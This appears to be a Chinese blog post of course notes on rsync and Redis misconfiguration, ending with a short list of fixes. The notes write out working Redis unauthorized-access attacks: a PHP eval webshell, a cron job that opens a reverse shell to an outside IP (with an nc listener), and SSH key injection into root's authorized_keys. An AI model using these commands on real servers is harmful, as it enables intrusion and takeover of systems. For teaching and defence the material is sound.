安全基础rsync/redis配置不当打卡第八天

本文为苏尚武老师运维安全课程课程笔记


  • Rsync
    rsync -avzP -e ’ssh -p 22 /tmp/ test@ip:/web/‘通过ssh传输
    rsync+crontab
    rsync+sersync
    默认端口873
    配置低级错误:使用root,关闭只读,取消认证
    通过扫描873端口,进行rsync上传导网站根目录
  • python编写rsync扫描脚本
    扫描开放873端口
    获取rsync目录
    密码尝试
  • redis配置不当
    redis未授权访问漏洞,造成linux挖矿
  • 三种攻击手法
  • webshell:
    进入控制台
    获取网站路径
    config set dir /var/www/html
    config set dbfilename shell.php
    set x “<?php @eval($_POST[a]);?>”
    save
    然后可以通过php连接访问网站中的程序
  • 写入crontab任务:
    set x “\n* * * * * bash -i >& /dev/tcp/192.167.4.107/6666 0>&1\n”
    config set dir /var/spool/cron/
    config set dbfilename root
    Save
    Attack:nc -lvnp 6666
  • 写入ssh公钥
    (echo -e “\n\n”; cat id_rsa.pub; echo -e “\n\n”) > foo.txt
    cat foo.txt |redis-cli -h 192.168.4.106 -x set crackit
    连接上去redis-cli -h 192.168.4.106设置
    config set dir /root/.ssh/
    config set dbfilename “authorized_keys”
    save
    可以直接通过ssh -i id_rsa.pub root@192.168.4.106
  • 修复redis
    设置密码
    不要把redis暴露公网
    普通权限启动
    降低普通用户.ssh权限
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值